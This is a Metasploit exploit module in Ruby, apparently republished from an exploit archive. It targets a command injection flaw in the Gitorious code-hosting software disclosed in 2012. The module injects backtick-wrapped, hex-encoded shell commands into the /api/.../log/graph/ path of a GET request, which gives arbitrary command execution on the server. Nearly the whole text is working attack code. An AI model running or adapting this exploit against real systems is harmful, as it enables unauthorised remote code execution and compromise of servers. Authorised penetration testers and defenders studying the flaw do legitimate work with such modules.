Gitorious – Arbitrary Command Execution (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Gitorious Arbitrary Command Execution', 'Description' => %q{ This module exploits an arbitrary command execution vulnerability in the in gitorious. Unvalidated input is send to the shell allowing command execution. }, 'Author' => [ 'joernchen <joernchen[at]phenoelit.de>' ], #Phenoelit 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'http://gitorious.org/gitorious/mainline/commit/647aed91a4dc72e88a27476948dfbacd5d0bf7ce' ], ], 'Privileged' => false, 'Payload' => { 'BadChars' => "\x60", 'DisableNops' => true, 'Space' => 31337, 'Compat' => { 'PayloadType' => 'cmd', } }, 'Platform' => [ 'unix', 'linux' ], 'Arch' => ARCH_CMD, 'Targets' => [[ 'Automatic', { }]], 'DisclosureDate' => 'Jan 19 2012' )) register_options( [ OptString.new('URI', [true, "Path to project and repository", "/project/repo"]), ], self.class) end def exploit # Make sure the URI begins with a slash uri = datastore['URI'] if uri[0,1] != '/' uri = '/' + uri end # Make sure the URI ends without a slash, because it's already part of the URI if uri[-1, 1] == '/' uri = uri[0, uri.length-1] end command = Rex::Text.uri_encode(payload.raw, 'hex-all') command.gsub!("%20","%2520") res = send_request_cgi({ 'uri' => "/api"+ uri + "/log/graph/%60#{command}%60", 'method' => 'GET', 'headers' => { 'Connection' => 'Close', } }) #default timeout, we don't care about the response if (res) print_status("The server returned: #{res.code} #{res.message}") end handler end end |